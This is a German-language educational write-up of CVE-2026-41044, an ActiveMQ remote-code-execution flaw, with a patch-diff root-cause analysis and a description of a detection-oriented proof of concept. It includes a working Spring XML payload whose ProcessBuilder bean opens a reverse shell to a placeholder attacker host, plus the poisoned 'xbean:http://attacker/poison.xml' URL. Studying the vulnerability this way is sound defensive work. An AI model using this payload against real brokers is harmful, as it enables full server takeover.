
# Pädagogischer Leitfaden und Proof-of-Concept für CVE-2026-41044, eine Apache ActiveMQ RCE, mit Root-Cause-Analyse und Erkennungsskript.
Hinweis: Nur für Bildungszwecke
CVE-2026-41044 wurde am 24. April 2026 offengelegt. Es handelt sich um einen Remote-Code-Execution-Fehler in Apache ActiveMQ Classic, entdeckt von jsjcw, gepatcht in 5.19.6 und 6.2.5. Ich habe ihn nicht gefunden.
Was ich zeigen möchte, ist, wie jemand, der ActiveMQ noch nie angefasst hat, an einem Nachmittag einen funktionierenden Exploit für einen N-Day produzieren kann, weil der gepatchte Code öffentlich ist, der ungepatchte Code öffentlich ist und die Lücke dazwischen nur einen git diff entfernt liegt.
Der Prozess ist einfach:
Was früher Tage dauerte, dauert jetzt einen Nachmittag. KI findet keine Bugs. Sie liest Code und erklärt ihn so schnell, wie man Fragen stellen kann. Der teure Teil bleibt man selbst: zu entscheiden, was tatsächlich ausnutzbar ist, wo die echten Vertrauensgrenzen liegen, was verifiziert werden muss. Das Modell geht nur schneller durch Call-Graphen als jeder Mensch.
Der größere Punkt: Wenn dein Patching-Workflow eine Woche Analysezeit pro CVE annimmt, bist du auf der alten Zeitachse. git diff ist gleich lang, egal ob du Detektion oder Exploits schreibst.
ActiveMQ ist ein Message Broker. Er sitzt in der Mitte und leitet Nachrichten zwischen Anwendungen weiter. Stell ihn dir wie eine Poststelle vor: Apps geben Nachrichten ab, ActiveMQ liefert sie an den richtigen Empfänger. Er ist weit verbreitet in Enterprise-Java-Stacks und stellt eine Web-Konsole sowie eine REST-Management-API namens Jolokia unter /api/jolokia/ bereit. Standard-Anmeldedaten in vielen Bereitstellungen sind immer noch admin:admin.
ActiveMQ erlaubte jedem authentifizierten Benutzer, eine Broker-Konfiguration von einer beliebigen HTTP-URL zu laden, die Spring parsen und sofort als Java-Objekte ausführen würde – einschließlich ProcessBuilder – was dem Angreifer vollständige OS-Befehlsausführung auf dem Broker-Server verschaffte.
localhost./api/jolokia/, die Verwaltungsoperationen als REST-API bereitstellt. Jede gültige Web-Konsolen-Anmeldedaten erreichen sie – nicht nur Admin.vm://-Transport: Der In-Process-Transport, der verwendet wird, wenn ein Client in derselben JVM wie der Broker lebt. Er akzeptiert einen ?brokerConfig=-Query-Parameter, der auf eine Spring-XML-Konfiguration verweist, um einen Broker daraus zu booten.xbean:: Ein URL-Schema, das ActiveMQ anweist, die URL als Spring-XML-Konfiguration zu behandeln und zu laden.init-method: Spring liest XML und erstellt automatisch Java-Objekte (Beans). Das init-method-Attribut weist Spring an, eine Methode auf der Bean in dem Moment aufzurufen, in dem sie erstellt wird – bevor irgendetwas anderes läuft.ProcessBuilder: Eine Standard-Java-Klasse, die OS-Befehle ausführt. ProcessBuilder.start() führt den Befehl aus.DestinationView.sendTextMessage() in 5.19.2 baut eine Broker-Verbindungs-URL, indem der Broker-Name direkt in einen String konkateniert wird:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
Wenn getBrokerName() localhost?brokerConfig=xbean:http://attacker/poison.xml zurückgibt, wird dieser gesamte String zu einer gültigen vm://-URI mit eingebettetem Query-Parameter. ActiveMQConnectionFactory übergibt ihn an VMTransportFactory, das den brokerConfig-Parameter herauszieht und ihn als Bootstrap-Konfigurations-URL des Brokers verwendet.
Der Fix in 5.19.6 ist eine Zeile:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
String wird zu URI – versehentliche Konkatenation ist nicht mehr möglich. Der Wert stammt aus einem vorkonstruierten, unveränderlichen URI-Objekt, das vom tatsächlich registrierten VM-Connector des Brokers abgeleitet wird, nicht von einem veränderlichen Namens-String.
Damit Ebene 1 ausnutzbar ist, muss der Broker-Name zuerst vergiftet werden. BrokerService hat Broker-Namen schon immer bereinigt:
// BrokerService.setBrokerName() - in BEIDEN Versionen vorhanden
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
Dieser Regex entfernt ? und = sauber. Die CVE existierte, weil RegionBroker seinen eigenen separaten Setter hatte, der das nicht tat:
// 5.19.2 - RegionBroker.java
private String brokerName; // veränderlich
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // überhaupt keine Validierung
}
Das ist ein klassischer Confused Deputy – zwei Setter auf verwandten Klassen, nur einer davon bereinigt. Ein Remote-Peer, der ein manipuliertes BrokerInfo-Paket mit einem vergifteten Namensfeld sendet, erreicht RegionBroker.setBrokerName() direkt und umgeht den Regex von BrokerService vollständig.
Der Fix in 5.19.6 löscht den Setter, macht das Feld final und initialisiert es einmalig aus dem bereits bereinigten Parent:
// 5.19.6 - RegionBroker.java
private final String brokerName; // unveränderlich
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName() ist weg. Es gibt keinen Setter mehr.
}
Man kann einen Sanitizer nicht umgehen, der keinen parallelen Schreiber hat.
VMTransportFactory.doCompositeConnect() ist die Funktion, die die vm://...?brokerConfig=...-URI nimmt, den brokerConfig-Parameter herauszieht und BrokerFactory.createBroker(brokerURI) aufruft. Sie ist der Auslösemechanismus der gesamten Kette.
Apache hat hier exakt nichts geändert.
Diese Entscheidung sagt etwas darüber aus, wie sie über den Fix gedacht haben. VMTransportFactory leistet legitime Arbeit – vm://-Transports sollen tatsächlich Bootstrap-Konfigurationen akzeptieren. Es zu patchen hätte das beabsichtigte Design gebrochen. Stattdessen hat Apache den Bug an der Quelle (Ebene 2: kein vergifteter Name kann geschrieben werden) und an der Senke (Ebene 5: selbst wenn eine vergiftete URL durchkäme, würde der Resource-Resolver sie nicht abrufen) behoben.
Fixe die Ebenen, auf denen Validierung hingehört, nicht die Ebene, über die der Angreifer zufällig hereinkam.
// XBeanBrokerFactory - in beiden Versionen gleich
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // Ebene 5
return new ResourceXmlApplicationContext(resource) { ... };
}
ResourceXmlApplicationContext(resource) ist der Punkt, an dem Spring seine Arbeit verrichtet – jede init-method einer Bean läuft bei der Kontextkonstruktion, bevor ActiveMQs BrokerService das Ergebnis jemals validiert. Hier gibt es nichts zu patchen. Springs Vertrag ist wie entworfen korrekt. Der Bug war, dass ActiveMQ sich darauf verließ, dass Validierung vor der Instanziierung stattfindet, und Spring diese Reihenfolge nicht zusichert.
Dies ist die Funktion, die entschied, ob xbean:http://attacker/poison.xml abgerufen werden sollte. In 5.19.2:
// 5.19.2 - Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
if (new File(uri).exists()) {
return new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
return new UrlResource(ResourceUtils.getURL(uri)); // http? ftp? jar? keine Prüfung.
} else {
return new ClassPathResource(uri);
}
}
Kein Protokollfilter. http://, https://, ftp://, jar:// – alles wird stillschweigend akzeptiert.
Der Fix in 5.19.6 fügt eine explizite Allowlist hinzu. Nur file und classpath sind standardmäßig erlaubt. Alles andere wirft, bevor UrlResource überhaupt konstruiert wird:
// 5.19.6 - Utils.java
public static final String FILE_PROTOCOL = "file";
public static final String CLASSPATH_PROTOCOL = "classpath";
public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
throws MalformedURLException {
// ...
} else if (ResourceUtils.isUrl(uri)) {
validateUrlAllowed(uri, allowedProtocols); // wirft bei http/https/etc
resource = new UrlResource(ResourceUtils.getURL(uri));
}
}
static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
throws URISyntaxException {
if (allowedProtocols != null) {
final String detectedProtocol = getProtocolFromScheme(uriString);
if (!allowedProtocols.contains(detectedProtocol)) {
throw new IllegalArgumentException("URL [" + uriString +
"] uses protocol '" + detectedProtocol + "' which is not allowed");
}
}
}
XBeanBrokerFactory übergibt jetzt {file, classpath} als Allowlist. Selbst wenn ein vergifteter Broker-Name diese Funktion in einer zukünftigen Version irgendwie erreichte, würde http://attacker/poison.xml werfen, bevor Spring es jemals zu Gesicht bekäme.
<beans xmlns="http://www.springframework.org/schema/beans" ...>
<bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/attacker/4444 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
In dem Moment, in dem Spring den ApplicationContext konstruiert, feuert init-method="start" auf der ProcessBuilder-Bean. Die Validierung von BrokerService.start() von ActiveMQ läuft danach. Bis dahin hat sich die Shell bereits zurückverbunden.
Es gibt zwei Wege, um die verwundbare Utils.resourceFromString-Senke zu erreichen:
Der vollständige Produktionspfad (was das Advisory beschreibt):
Remote-Peer sendet manipuliertes BrokerInfo-Paket
-> RegionBroker.setBrokerName() speichert vergifteten Namen ohne Validierung
-> DestinationView.sendTextMessage() konkateniert ihn in eine vm://-URL
-> VMTransportFactory zieht brokerConfig-Parameter heraus
-> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
Der kurze Pfad (was poc.sh verwendet):
BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
-> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
Der PoC nimmt den kurzen Pfad aus einem praktischen Grund: Der vollständige Pfad erfordert die Einrichtung eines zweiten ActiveMQ-Brokers als Netzwerk-Peer, der ein manipuliertes BrokerInfo-Paket an das Ziel sendet – eine Broker-zu-Broker-Interaktion, die ein komplexeres Labor-Setup benötigt. Der kurze Pfad funktioniert mit einem einzelnen Broker und einem einfachen HTTP-Server.
Beide Pfade treffen dieselbe verwundbare Primitive. Der PoC bestätigt, dass die Senke ausnutzbar ist und die CVE auf dem Ziel vorhanden ist. Wenn du den exakten Einstiegspunkt reproduzieren möchtest, der im Advisory beschrieben ist, musst du den Broker-zu-Broker-Schritt hinzufügen.
Der PoC läuft standardmäßig im Detektionsmodus. Er prüft zwei Signale:
Banner-Check – liest BrokerVersion über Jolokia:
< 5.19.6 oder 6.0.0 - 6.2.4 = verwundbarer BereichVerhaltens-Check – ruft addNetworkConnector("vm://probe") über Jolokia auf:
Transport scheme 'vm' is not allowedDiscoveryAgent scheme NOT recognized-IOException zurückDie Ablehnung auf der gepatchten Version stammt von BrokerView.validateAllowedUrl() – einer separaten Deny-List, die in 5.19.6 direkt zur addNetworkConnector-JMX-Operation hinzugefügt wurde, nicht von Utils.resourceFromString. Das sind zwei unabhängige Fixes: einer schützt die JMX-Verwaltungsoberfläche, der andere schützt die in Ebene 5 beschriebene Resource-Loading-Primitive. Der Verhaltensprobe testet Ersteres.
| Ebene | Verwundbar (5.19.2) | Gepatcht (5.19.6) |
|---|---|---|
DestinationView | "vm://" + brokerName String-Konkatenation | broker.getVmConnectorURI() unveränderliche URI |
RegionBroker | veränderliches Feld, unbereinigter Setter | final-Feld, Setter gelöscht, aus bereinigtem Parent initialisiert |
VMTransportFactory | unverändert | unverändert (by design) |
XBeanBrokerFactory | ruft Utils.resourceFromString(uri) auf | ruft Utils.resourceFromString(uri, allowedProtocols) auf |
Utils.resourceFromString | ruft jedes URL-Schema ab | Allowlist erzwungen – standardmäßig nur file und classpath |